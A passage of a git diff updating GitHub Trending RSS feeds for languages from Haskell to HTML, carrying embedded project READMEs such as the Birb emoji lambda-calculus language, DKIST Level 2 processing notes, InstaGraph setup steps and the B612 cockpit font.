documentação do projeto</td> <td>Excelente</td> </tr> </tbody> </table> <p>Menção honrosa ao <strong>Pedro Helias Carlos</strong> que criou o repositório e teve participação no estudo da estrutura do projeto.</p> <h2>Outros</h2> <h3>Lições Aprendidas</h3> <ul> <li>Implementação da estrutura de grafo</li> <li>Paradigma funcional</li> <li>Modularização</li> <li>Própria linguagem Haskell</li> </ul> <h3>Percepções</h3> <h3>Contribuições e Fragilidades</h3> <ul> <li>A estrutura do texto precisa estar exatamente igual ao padrão estipulado</li> <li>GHCI apresentou problemas sem solução na comunidade para algumas máquinas dos membros</li> </ul> <h3>Trabalhos Futuros</h3> <ul> <li>Implementar um criador de cenários que produza arquivos <code>.txt</code> no formato suportado pelo parser</li> <li>Melhorar interface</li> </ul> <h2>Fontes</h2> <ul> <li><a href="https://www.haskell.org/cabal/">Cabal</a></li> <li><a href="https://hackage.haskell.org/package/split-0.2.3.5/docs/Data-List-Split.html">Data.split</a></li> <li><a href="https://hackage.haskell.org/package/graphite">Graphite</a></li> <li><a href="https://www.haskell.org/downloads/">Haskell</a></li> <li><a href="https://hackage.haskell.org/package/fgl">Martin Erwig's Functional Graph Library</a></li> <li>Materiais disponibilizados em aula</li> </ul> - \ No newline at end of file diff --git a/haskell/weekly/index.xml b/haskell/weekly/index.xml deleted file mode 100644 index c1be05bdae6..00000000000 --- a/haskell/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Haskell Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:51:49Z - Weekly Trending of Haskell in GitHub - - - marvinborner/birb - 2023-09-24T01:51:49Z - tag:github.com,2023-09-24:/marvinborner/birb - - <p>🐦 Programming language that only consists of bird emojis</p><hr><h1>Birb</h1> <p>Birb is an <em>advanced</em> programming language that only consists of bird emojis 🐣. Each emoji gets substituted by a <a href="https://www.angelfire.com/tx4/cus/combinator/birds.html"><em>combinator bird</em></a> of pure lambda calculus.</p> <h2>Birbs</h2> <p>Unfortunately, the Unicode standard does not yet have many (single-character) birds. These are the ones currently mapped/supported:</p> <table> <thead> <tr> <th align="center">emoji</th> <th>animal</th> <th>combinator</th> <th>term</th> </tr> </thead> <tbody> <tr> <td align="center">🦉</td> <td>owl</td> <td>owl</td> <td>$\lambda ab.b(ab)$</td> </tr> <tr> <td align="center">🦅</td> <td>eagle</td> <td>eagle</td> <td>$\lambda abcde.ab(cde)$</td> </tr> <tr> <td align="center">🪽</td> <td>wing</td> <td>phoenix</td> <td>$\lambda abcd.a(bd)(cd)$</td> </tr> <tr> <td align="center">🕊️</td> <td>dove</td> <td>dove</td> <td>$\lambda abcd.ab(cd)$</td> </tr> <tr> <td align="center">🦜</td> <td>parrot</td> <td>mockingbird</td> <td>$\lambda a.aa$</td> </tr> <tr> <td align="center">🦆</td> <td>duck</td> <td>quacky</td> <td>$\lambda abc.c(ba)$</td> </tr> <tr> <td align="center">🐤</td> <td>touring chick</td> <td>turing</td> <td>$\lambda ab.b(aab)$</td> </tr> <tr> <td align="center">🐥</td> <td>kool chick</td> <td>kestrel</td> <td>$\lambda ab.a$</td> </tr> <tr> <td align="center">🐣</td> <td>hatching chick</td> <td>quirky</td> <td>$\lambda abc.c(ab)$</td> </tr> <tr> <td align="center">🐦</td> <td>simple bird</td> <td>identity</td> <td>$\lambda a.a$</td> </tr> <tr> <td align="center">🦚</td> <td>peacock</td> <td>queer</td> <td>$\lambda abc.b(ac)$</td> </tr> <tr> <td align="center">🦤</td> <td>dodo</td> <td>sage</td> <td>$\lambda ab.a(bb)\lambda ab.a(bb)$</td> </tr> <tr> <td align="center">🐧</td> <td>penguin</td> <td>blackbird</td> <td>$\lambda abc.a(bc)$</td> </tr> <tr> <td align="center">🦢</td> <td>swan</td> <td>substitution</td> <td>$\lambda abc.ac(bc)$</td> </tr> <tr> <td align="center">🦩</td> <td>flamingo</td> <td>cardinal</td> <td>$\lambda abc.acb$</td> </tr> </tbody> </table> <p>Lonely/unmatched birbs: 🐔🦃🐓🪿</p> <h1>Syntax</h1> <ul> <li><code>[birb]+</code>: Birb</li> <li>everything else: Comment</li> </ul> <p>Syntax errors are impossible as long as you use at least one birb.</p> <h1>Semantics</h1> <p>Birbs stagger as they walk: they are reduced in alternating associative order, starting with left associativity at birb index $\lfloor\frac{\texttt{len}}{2}\rfloor$:</p> <pre><code>🐦🐦 -&gt; (🐦🐦) 🐦🐦🐦 -&gt; ((🐦🐦)🐦) 🐦🐦🐦🐦 -&gt; (🐦((🐦🐦)🐦)) 🐦🐦🐦🐦🐦 -&gt; ((🐦((🐦🐦)🐦))🐦) 🐦🐦🐦🐦🐦🐦 -&gt; (🐦((🐦((🐦🐦)🐦))🐦)) 🐦🐦🐦🐦🐦🐦🐦 -&gt; ((🐦((🐦((🐦🐦)🐦))🐦))🐦) ... </code></pre> <h1>Examples</h1> <p>You can find more examples (with comments) in the <code>samples/</code> directory.</p> <h2>Relationships</h2> <ul> <li>🪽🐦 $\rightsquigarrow$ 🦢</li> <li>🦢🐦 $\rightsquigarrow$ 🦉</li> <li>🦉🐦 $\rightsquigarrow$ 🦜</li> <li>🕊️🐦 $\rightsquigarrow$ 🐧</li> <li>🐧🐧 $\rightsquigarrow$ 🕊️</li> <li>🦩🐧 $\rightsquigarrow$ 🦚</li> <li>🦩🦚 $\rightsquigarrow$ 🐧</li> <li>🦩🦆 $\rightsquigarrow$ 🐣</li> </ul> <p>One can only imagine what happens if two parrots talk to each other: 🦜🦜 $\rightsquigarrow$ 💥. The same happens with 🐤🐤; they just can’t stop waddling!</p> <h2>Arithmetic</h2> <p>For this example I use the Church numerals. Zero would then be encoded as 🐥🐦. The successor function can be written as 🦢🐧:</p> <ul> <li>🐦🐧🐦🦢🐧🐥🐦 $\rightsquigarrow\lambda\lambda(10)$ – (Church numeral 1)</li> <li>🐦🐧🐦🐧🕊️🦢🐧🦢🐧🐥🐦 $\rightsquigarrow\lambda\lambda(1(10))$ – (Church numeral 2)</li> </ul> <p>Similarly, one can very obviously translate the Church addition function to 🪽🐧. Now, to calculate $1+2$ based on their increments from zero:</p> <ul> <li>🐦🐦🕊️🐧🕊️🐧🐦🐧🕊️🐧🕊️🪽🐧🦢🐧🦢🐧🐥🐦🦢🐧🐥🐦 $\rightsquigarrow\lambda\lambda(1(1(10)))$ – (Church numeral 3)</li> </ul> <p>Also: 🐧 is $a\cdot b$, 🦜 is $n^n$ and 🦚🐦 $a^b$.</p> <p>Note that there exist many alternative ways to do arithmetic. Try writing the functions above with other birbs!</p> <h2>Containers</h2> <p>You can create a pair $\langle X,Y\rangle$ using <code>🦩🦩🦩YX</code>.</p> <p>Typically, one would now construct a list using repeated application of pairs (Boehm-Berarducci/Church encoding). However, due to the reversed application and alternating associativity, the Mogensen-Scott encoding is more suitable:</p> <p>List $\langle X_1,X_2,\dots,X_n\rangle$: <code>[🦩]ⁿ🦩X2X1...XN</code>.</p> <h2>Busy <del>beavers</del> birbs</h2> <p>Contestants:</p> <ul> <li><em>The touring eagle</em>: <code>[🐦]ⁿ[🦅🐤]ⁿ</code> ($n=3$: 9 birbs, ~20M BLC bits)</li> <li>better? PR!</li> </ul> <h1>Transpiler</h1> <p>I created a lambda calculus to Birb transpiler. It works by converting binary lambda calculus to SKI combinators, which then get converted to Jot and back to SKI combinators. The resulting SKI combinators then get converted to Birbs.</p> <p>The reason I convert to Jot first is that Birbs semantics don’t allow trivial transpilation from arbitrary SKI expressions. With Jot however, applications with non-associative expressions like <code>((s k) (k s))</code> are impossible, as only a single non-associative application exists (the innermost/deepest expression).</p> <p>With all these conversions, the resulting transpiled Birb code is big, ugly and slow. There should be a way to optimize the transpilation process, but it’s probably a bit more complicated.</p> <h1>Usage</h1> <p>Install <a href="https://docs.haskellstack.org/en/stable/install_and_upgrade/">Haskell’s stack</a>. Then,</p> <ul> <li><code>stack run -- reduce file.birb</code> or <code>stack run -- reduce &lt;(echo 🐧🐧)</code></li> <li><code>stack run -- transpile &lt;(echo 01000110100000011100111001110011100111010)</code> to generate a birb program that calculates $5^5$</li> <li><code>stack install</code> so you can enjoy <code>birb</code> from anywhere</li> </ul> <p>If the output cannot be translated to birbs, the raw lambda calculus term (with De Bruijn indices) is printed. For the examples above I sometimes manually converted the term back to birbs.</p> <h1>Turing-completeness</h1> <p>Birb is Turing complete, since one can construct any term of the <a href="https://esolangs.org/wiki/Jot">Jot</a> variant of Iota. A Jot term <code>((X s) k)</code> is equivalent to <code>🐦🐦X🦢🐥</code>. Similarly, <code>(s (k X))</code> is equivalent to <code>🐦🦆X🐥🦢</code>.</p> <hr> <p>The idea of the language was originally proposed in 2021 by @SCKelement on <a href="https://esolangs.org/wiki/Birb">Esolang</a>.</p> - - - joeyadams/haskell-stm-delay - 2023-09-24T01:51:49Z - tag:github.com,2023-09-24:/joeyadams/haskell-stm-delay - - <p>Updatable one-shot timer polled with STM (Haskell)</p><hr> - - - DKISTDC/level2 - 2023-09-24T01:51:49Z - tag:github.com,2023-09-24:/DKISTDC/level2 - - <p>Level 2 Data Processing</p><hr><h1>Level 2 Inversion</h1> <p>See <a href="https://raw.githubusercontent.com/DKISTDC/level2/main/DEVELOPMENT.md">DEVELOPMENT.md</a></p> <h2>Questions</h2> <ul> <li><input type="checkbox" disabled> (Tony) We need local persistence but a new DB may increase the workload for Tony. <ul> <li>adding fields to existing tables creates an unwanted dependency and slows dev</li> <li>same physical postgres instance with different tables? (Prefix?)</li> </ul> </li> <li><input type="checkbox" disabled> Who chooses which OP to process next? <ul> <li>do we mark A as "work on this next?"</li> <li>or does Han scan available work and choose?</li> <li>who gets yelled at if something doesn't get done?</li> </ul> </li> </ul> <h2>Answers</h2> <ul> <li><input type="checkbox" checked disabled> Han wants to work on OPs, not datasets. How do we know when an OP is complete? <ul> <li>OPs do not exist at the metadata level yet</li> <li>Wait a certain number of days for all datasets to appear before assuming it is ready.</li> </ul> </li> <li><input type="checkbox" checked disabled> How does L2 data become available to the system? <ul> <li>L2 will store OP metadata related to inversions</li> <li>Metadata store will aggregate this information and introduce an OP schema</li> </ul> </li> </ul> <h2>Service Graph</h2> <p>Arrow indicate the direction of dependency. If A -&gt; B, then A is aware of B and calls it or interacts with it.</p> <pre><code class="language-mermaid">graph LR; L2[Level 2] State[(Internal State)] Meta[Metadata Store] Globus[GLOBUS] Sci[Science / CU Blanca] subgraph Level 2 L2 L2 --&gt; State State Sci --&gt; |OPs| L2 Sci --&gt; |ready event| L2 end Meta --&gt; |OPs| L2 Portal --&gt; Meta L2 --&gt; |datasets| Meta Meta --&gt; Globus Sci --&gt; |dataset files| Globus </code></pre> <p>Deployable Containers</p> <ul> <li>L2 Service</li> <li>State Postgres DB - New or existing instance, but L2 accesses unique tables</li> </ul> <h2>Process</h2> <pre><code class="language-mermaid">flowchart LR; Scan[[Scan]] Qualify[[Qualify]] Preprocess[[Preprocess]] Invert[[Invert]] Publish[[Publish]] Scan --&gt; Qualify Qualify --&gt; Preprocess Preprocess --&gt; Invert subgraph Science Invert end Invert --&gt; Publish </code></pre> <p><em>Scan</em> - Check the entire metadata store for OP candidates and add to the database if they don't exist. Update if necessary</p> <p><a href="https://raw.githubusercontent.com/DKISTDC/level2/main/docs/Invertibility.md"><em>Qualify</em></a> - Check criteria for invertibility and record if OPs are invertible or not</p> <p><em>Preprocess</em> - Preprocess data if necessary, saving intermediate files if needed (unknown)</p> <p><em>Invert</em> - Han's Science Team manually inverts the OP</p> <p><em>Publish</em> - Make L2 data available to metadata store / portal</p> <h2>Inversion States</h2> <p>Observing Programs are identified, then pass through the following states. The graph below illustrates a successful flow, but any processing step may fail, putting the OP into an Error state.</p> <pre><code class="language-mermaid">stateDiagram-v2 dis: Discovered inv: Invertible no: Not Invertible pre: Preprocessed work: Working done: Inverted pub: Published err: Error dis --&gt; inv dis --&gt; no inv --&gt; pre pre --&gt; work work --&gt; done: Science done --&gt; pub </code></pre> <p>We record this history of all states, and only add information rather than mutating the record</p> <h2>Definitions</h2> <p><strong>Observing Program</strong> - a group of datasets related to a single observation with a measurement in mind, which is a smaller division of a proposal</p> - - \ No newline at end of file diff --git a/haxe/daily/index.xml b/haxe/daily/index.xml index 33035fd0377..a9223d4dc8f 100644 --- a/haxe/daily/index.xml +++ b/haxe/daily/index.xml @@ -1,7 +1,7 @@ GitHub Haxe Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:14Z + 2023-09-25T01:31:15Z Daily Trending of Haxe in GitHub \ No newline at end of file diff --git a/haxe/weekly/index.xml b/haxe/weekly/index.xml deleted file mode 100644 index d510ecd0352..00000000000 --- a/haxe/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Haxe Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:01Z - Weekly Trending of Haxe in GitHub - - - waneck/hx-javastd - 2023-09-24T01:52:01Z - tag:github.com,2023-09-24:/waneck/hx-javastd - - <p>Haxe/Java standard library</p><hr><h1>hx-javastd</h1> <p>Haxe externs for JDK 7.0 and less. The missing Haxe standard library implementations for the sys.* package will be implemented into this library</p> - - \ No newline at end of file diff --git a/hcl/daily/index.xml b/hcl/daily/index.xml index 395f70128e7..0a82fb6ecb4 100644 --- a/hcl/daily/index.xml +++ b/hcl/daily/index.xml @@ -1,14 +1,28 @@ GitHub HCL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:14Z + 2023-09-25T01:31:15Z Daily Trending of HCL in GitHub - snyk-workshops/DSOF-Patch-IaC-App - 2023-09-24T01:32:14Z - tag:github.com,2023-09-24:/snyk-workshops/DSOF-Patch-IaC-App - - <p></p><hr> + Questra-Digital/ts-micro-app + 2023-09-25T01:31:15Z + tag:github.com,2023-09-25:/Questra-Digital/ts-micro-app + + <p>In Sha Allah, this repository will have a production scale boilerplate code for a micro app written in Typescript based frameworks. Currently, it is using Mongo, Node, Express, Next, React, Redux, MaterialUI, etc.</p><hr> + + + AndrewGuenther/fck-nat + 2023-09-25T01:31:15Z + tag:github.com,2023-09-25:/AndrewGuenther/fck-nat + + <p>Feasible cost konfigurable NAT: An AWS NAT Instance AMI</p><hr> + + + terraform-google-modules/terraform-google-composer + 2023-09-25T01:31:15Z + tag:github.com,2023-09-25:/terraform-google-modules/terraform-google-composer + + <p>Manages Cloud Composer v1 and v2 along with option to manage networking</p><hr> \ No newline at end of file diff --git a/hcl/weekly/index.xml b/hcl/weekly/index.xml deleted file mode 100644 index 63ba2e2f51a..00000000000 --- a/hcl/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub HCL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:01Z - Weekly Trending of HCL in GitHub - - - ExamProCo/terraform-beginner-bootcamp-2023 - 2023-09-24T01:52:01Z - tag:github.com,2023-09-24:/ExamProCo/terraform-beginner-bootcamp-2023 - - <p>Terraform Beginner Bootcamp</p><hr> - - - hashicorp/tfc-guide-example - 2023-09-24T01:52:01Z - tag:github.com,2023-09-24:/hashicorp/tfc-guide-example - - <p>Example Terraform configuration</p><hr> - - - snyk-workshops/DSOF-Patch-IaC-App - 2023-09-24T01:52:01Z - tag:github.com,2023-09-24:/snyk-workshops/DSOF-Patch-IaC-App - - <p></p><hr> - - \ No newline at end of file diff --git a/hiveql/daily/index.xml b/hiveql/daily/index.xml index d0f719ff03d..ed83db5eb41 100644 --- a/hiveql/daily/index.xml +++ b/hiveql/daily/index.xml @@ -1,7 +1,7 @@ GitHub HiveQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:10Z + 2023-09-25T01:31:09Z Daily Trending of HiveQL in GitHub \ No newline at end of file diff --git a/hiveql/weekly/index.xml b/hiveql/weekly/index.xml deleted file mode 100644 index f56f4c5a79f..00000000000 --- a/hiveql/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HiveQL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:51:56Z - Weekly Trending of HiveQL in GitHub - - \ No newline at end of file diff --git a/hlsl/daily/index.xml b/hlsl/daily/index.xml index 1a98389889f..c96c12cadb0 100644 --- a/hlsl/daily/index.xml +++ b/hlsl/daily/index.xml @@ -1,7 +1,7 @@ GitHub HLSL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:09Z + 2023-09-25T01:31:11Z Daily Trending of HLSL in GitHub \ No newline at end of file diff --git a/hlsl/weekly/index.xml b/hlsl/weekly/index.xml deleted file mode 100644 index 5d81a39cdfb..00000000000 --- a/hlsl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HLSL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:51:58Z - Weekly Trending of HLSL in GitHub - - \ No newline at end of file diff --git a/holyc/daily/index.xml b/holyc/daily/index.xml index 80a293e7ff6..6c8b9186f49 100644 --- a/holyc/daily/index.xml +++ b/holyc/daily/index.xml @@ -1,7 +1,7 @@ GitHub HolyC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:16Z + 2023-09-25T01:31:19Z Daily Trending of HolyC in GitHub \ No newline at end of file diff --git a/holyc/weekly/index.xml b/holyc/weekly/index.xml deleted file mode 100644 index 91f4bb886a1..00000000000 --- a/holyc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HolyC Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:06Z - Weekly Trending of HolyC in GitHub - - \ No newline at end of file diff --git a/hoon/daily/index.xml b/hoon/daily/index.xml index f467aed225d..f0862bd9801 100644 --- a/hoon/daily/index.xml +++ b/hoon/daily/index.xml @@ -1,7 +1,7 @@ GitHub hoon Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:18Z + 2023-09-25T01:31:20Z Daily Trending of hoon in GitHub \ No newline at end of file diff --git a/hoon/weekly/index.xml b/hoon/weekly/index.xml deleted file mode 100644 index abd241613fe..00000000000 --- a/hoon/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub hoon Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:04Z - Weekly Trending of hoon in GitHub - - \ No newline at end of file diff --git a/html+ecr/daily/index.xml b/html+ecr/daily/index.xml index 95b2d429382..9c1f1fc8eec 100644 --- a/html+ecr/daily/index.xml +++ b/html+ecr/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTML+ECR Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:19Z + 2023-09-25T01:31:23Z Daily Trending of HTML+ECR in GitHub \ No newline at end of file diff --git a/html+ecr/weekly/index.xml b/html+ecr/weekly/index.xml deleted file mode 100644 index c7983294403..00000000000 --- a/html+ecr/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HTML+ECR Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:08Z - Weekly Trending of HTML+ECR in GitHub - - \ No newline at end of file diff --git a/html+eex/daily/index.xml b/html+eex/daily/index.xml index 3446797b5ce..2ad3490c5b2 100644 --- a/html+eex/daily/index.xml +++ b/html+eex/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTML+EEX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:21Z + 2023-09-25T01:31:22Z Daily Trending of HTML+EEX in GitHub \ No newline at end of file diff --git a/html+eex/weekly/index.xml b/html+eex/weekly/index.xml deleted file mode 100644 index 309d8ca48be..00000000000 --- a/html+eex/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HTML+EEX Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:07Z - Weekly Trending of HTML+EEX in GitHub - - \ No newline at end of file diff --git a/html+erb/daily/index.xml b/html+erb/daily/index.xml index 9e82a99d10b..9ded3b63dd2 100644 --- a/html+erb/daily/index.xml +++ b/html+erb/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTML+ERB Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:42Z + 2023-09-25T01:31:46Z Daily Trending of HTML+ERB in GitHub \ No newline at end of file diff --git a/html+erb/weekly/index.xml b/html+erb/weekly/index.xml deleted file mode 100644 index b4016c5c163..00000000000 --- a/html+erb/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HTML+ERB Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:44Z - Weekly Trending of HTML+ERB in GitHub - - \ No newline at end of file diff --git a/html+php/daily/index.xml b/html+php/daily/index.xml index f27cf40b52e..a3b78a97000 100644 --- a/html+php/daily/index.xml +++ b/html+php/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTML+PHP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:41Z + 2023-09-25T01:31:45Z Daily Trending of HTML+PHP in GitHub \ No newline at end of file diff --git a/html+php/weekly/index.xml b/html+php/weekly/index.xml deleted file mode 100644 index 3ea76a9d42e..00000000000 --- a/html+php/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HTML+PHP Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:45Z - Weekly Trending of HTML+PHP in GitHub - - \ No newline at end of file diff --git a/html+razor/daily/index.xml b/html+razor/daily/index.xml index 97e71cf5240..cc6f1b6176a 100644 --- a/html+razor/daily/index.xml +++ b/html+razor/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTML+Razor Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:43Z + 2023-09-25T01:31:44Z Daily Trending of HTML+Razor in GitHub \ No newline at end of file diff --git a/html+razor/weekly/index.xml b/html+razor/weekly/index.xml deleted file mode 100644 index 534a9b4ea8f..00000000000 --- a/html+razor/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HTML+Razor Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:44Z - Weekly Trending of HTML+Razor in GitHub - - \ No newline at end of file diff --git a/html/daily/index.xml b/html/daily/index.xml index ef0e4816964..1a1af69786a 100644 --- a/html/daily/index.xml +++ b/html/daily/index.xml @@ -1,14 +1,7 @@ GitHub HTML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:24Z + 2023-09-25T01:31:26Z Daily Trending of HTML in GitHub - - Programith/html - 2023-09-24T01:32:24Z - tag:github.com,2023-09-24:/Programith/html - - <p>HTML files used in videos for social media</p><hr><h1>html</h1> <p>HTML files used in videos for social media</p> <p>⭐️ Follow Me If You Are Amazing:</p> <p>➡️ YOUTUBE: <a href="https://youtube.com/@Programith">https://youtube.com/@Programith</a><br> ➡️ INSTAGRAM: <a href="https://instagram.com/Programith">https://instagram.com/Programith</a><br> ➡️ TIKTOK: <a href="https://tiktok.com/@Programith">https://tiktok.com/@Programith</a><br> ➡️ TWITTER/X: <a href="https://twitter.com/Programith">https://twitter.com/Programith</a><br></p> - \ No newline at end of file diff --git a/html/weekly/index.xml b/html/weekly/index.xml deleted file mode 100644 index c0293bcac18..00000000000 --- a/html/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub HTML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:52:11Z - Weekly Trending of HTML in GitHub - - - yoheinakajima/instagraph - 2023-09-24T01:52:11Z - tag:github.com,2023-09-24:/yoheinakajima/instagraph - - <p>Converts text input or URL into knowledge graph and displays</p><hr><p>Note for non-coders: you can sign up for the waitlist at <a href="https://instagraph.ai">instagraph.ai</a>.</p> <h1>InstaGraph 🌐</h1> <p>Hello there, adventurous coder! Welcome to InstaGraph, your go-to application for converting text or URLs into insightful knowledge graphs. Curious about the relationships between entities in a complex topic? Feed the text to InstaGraph and voila! A beautiful knowledge graph is at your fingertips.</p> <p>See example flowcharts generated by InstaGraph <a href="https://twitter.com/yoheinakajima/status/1701351068817301922">here</a>.</p> <p>Powered by OpenAI's GPT-3.5, this Flask application turns your text into a vividly colored graph, making it easier to visualize relationships between various entities. Enough talking—let's get started!</p> <p><em><strong>Author's TL;DR</strong>: If you're just looking for how the knowledge graph is generated, check out the function call parameters taking up half of main.py.</em></p> <h2>Table of Contents 📚</h2> <ul> <li><a href="https://raw.githubusercontent.com/yoheinakajima/instagraph/main/#features-">Features</a></li> <li><a href="https://raw.githubusercontent.com/yoheinakajima/instagraph/main/#installation-%EF%B8%8F">Installation</a></li> <li><a href="https://raw.githubusercontent.com/yoheinakajima/instagraph/main/#usage-">Usage</a></li> <li><a href="https://raw.githubusercontent.com/yoheinakajima/instagraph/main/#contributing-">Contributing</a></li> <li><a href="https://raw.githubusercontent.com/yoheinakajima/instagraph/main/#license-">License</a></li> </ul> <h2>Features 🌟</h2> <ul> <li>Dynamic Text to Graph conversion.</li> <li>Color-coded graph nodes and edges.</li> <li>Responsive design—use it on any device.</li> <li>Super-duper user-friendly!</li> </ul> <h2>Installation 🛠️</h2> <p>To get started, you'll need Python and pip installed.</p> <h4>1. Clone the repository</h4> <pre><code class="language-bash">git clone https://github.com/yoheinakajima/instagraph.git </code></pre> <h4>2. Navigate to the project directory</h4> <pre><code class="language-bash">cd instagraph </code></pre> <h4>3. Install the required Python packages</h4> <pre><code class="language-bash">pip install -r requirements.txt </code></pre> <h4>4. Set up your OpenAI API Key</h4> <p>Change .env.example to .env</p> <pre><code class="language-text">mv .env.example .env </code></pre> <p>Add your OpenAI API key to .env file:</p> <pre><code class="language-text">OPENAI_API_KEY=your-api-key-here </code></pre> <h5>Optional</h5> <p>Add Neo4J username, password and URL in the <code>*.env</code> file as well.</p> <pre><code class="language-text">NEO4J_USERNAME= NEO4J_PASSWORD= NEO4J_URL= </code></pre> <h4>5. Run the Flask app</h4> <pre><code class="language-bash">python main.py </code></pre> <p>Navigate to <code>http://localhost:8080</code> to see your app running.</p> <h2>Run as Container</h2> <h4>1. Clone the repository</h4> <pre><code class="language-bash">git clone https://github.com/yoheinakajima/instagraph.git </code></pre> <h4>2. Navigate to the project docker directory</h4> <pre><code class="language-bash">cd instagraph/docker </code></pre> <h4>3.1 Run in Dev mode</h4> <pre><code class="language-bash">docker-compose -f docker-compose-dev.yml up # Add -d flag at the end to run in background/daemon mode. </code></pre> <h4>3.2 Run in Prod - Create the docker image</h4> <ul> <li>Using the <code>gunicorn==21.2.0</code> to run the application in production mode</li> </ul> <pre><code class="language-bash">docker-compose -f docker-compose.yml up --build -d </code></pre> <h2>Usage 🎉</h2> <h3>Web Interface</h3> <ul> <li>Open your web browser and navigate to <code>http://localhost:8080</code>.</li> <li>Type your text or paste a URL in the input box.</li> <li>Click "Submit" and wait for the magic to happen!</li> </ul> <h3>API Endpoints</h3> <ol> <li> <p><strong>GET Response Data</strong>: <code>/get_response_data</code></p> <ul> <li>Method: <code>POST</code></li> <li>Data Params: <code>{"user_input": "Your text here"}</code></li> <li>Response: GPT-3.5 processed data</li> </ul> </li> <li> <p><strong>GET Graph Data</strong>: <code>/get_graph_data</code></p> <ul> <li>Method: <code>POST</code></li> <li>Response: Graph Data</li> </ul> </li> <li> <p><strong>GET History Data</strong>: <code>/get_graph_history</code></p> <ul> <li>Method: <code>GET</code></li> <li>Response: Graph Data</li> </ul> </li> </ol> <h2>Contributing 🤝</h2> <p>Best way to chat with me is on Twitter at <a href="https://twitter.com/yoheinakajima">@yoheinakajima</a>. I usually only code on the weekends or at night, and in pretty small chunks. I have lots ideas on what I want to add here, but obviously this would move faster with everyone. Not sure I can manage Github well given my time constraints, so please reach out if you want to help me run the Github. Now, here are a few ideas on what I think we should add based on comments...</p> <ul> <li><del>Store knowledge graph</del> (thx <a href="https://github.com/tomasonjo">@tomasonjo</a>! 9/13/23)</li> <li><del>Pull knowledge graph from storage</del> (thx <a href="https://github.com/tomasonjo">@tomasonjo</a>! 9/13/23)</li> <li>Show history</li> <li>Ability to combine two graphs</li> <li>Ability to combine 2+ graphs from history</li> <li><del>Ability to expand on a graph</del> (thx <a href="https://github.com/tomasonjo">@tomasonjo</a>! 9/13/23)</li> <li>Ability to expand on graph from specific nodes</li> <li>Fuzzy matching of nodes for combining graphs (vector match + LLM confirmation)</li> </ul> <p>There are a lot of "build a chart" tools out there, so instead of doing user account and custom charts, it sounds more fun for me to work on building the largest knowledge graph ever...</p> <p>Before creating an Issue please refer the <a href="https://github.com/yoheinakajima/instagraph/tree/main/.github/ISSUE_TEMPLATE">ISSUE_TEMPLATE</a> provided.</p> <h2>License 📝</h2> <p>MIT License. See <a href="https://raw.githubusercontent.com/yoheinakajima/instagraph/main/LICENSE">LICENSE</a> for more information.</p> <hr> <p>Enjoy using InstaGraph! 🎉</p> - - - polarsys/b612 - 2023-09-24T01:52:11Z - tag:github.com,2023-09-24:/polarsys/b612 - - <p>Eclipse B612</p><hr><h1>PolarSys B612 font family</h1> <p>B612 is an highly legible open source font family designed and tested to be used on aircraft cockpit screens.</p> <p>Main characteristics are:</p> <ul> <li>Maximize the distance between the forms of the characters</li> <li>Respect the primitives of the different letters</li> <li>Harmonize the forms and their spacing</li> </ul> <h2>The genesis of PolarSys B612</h2> <p>In 2010, Airbus initiated a research collaboration with <a href="http://www.enac.fr">ENAC</a> and <a href="http://www.univ-tlse3.fr/">Université de Toulouse III</a> on a prospective study to define and validate an “Aeronautical Font”: the challenge was to improve the display of information on the cockpit screens, in particular in terms of legibility and comfort of reading, and to optimize the overall homogeneity of the cockpit.</p> <p>2 years later, <a href="https://www.airbus.com">Airbus</a> came to find <a 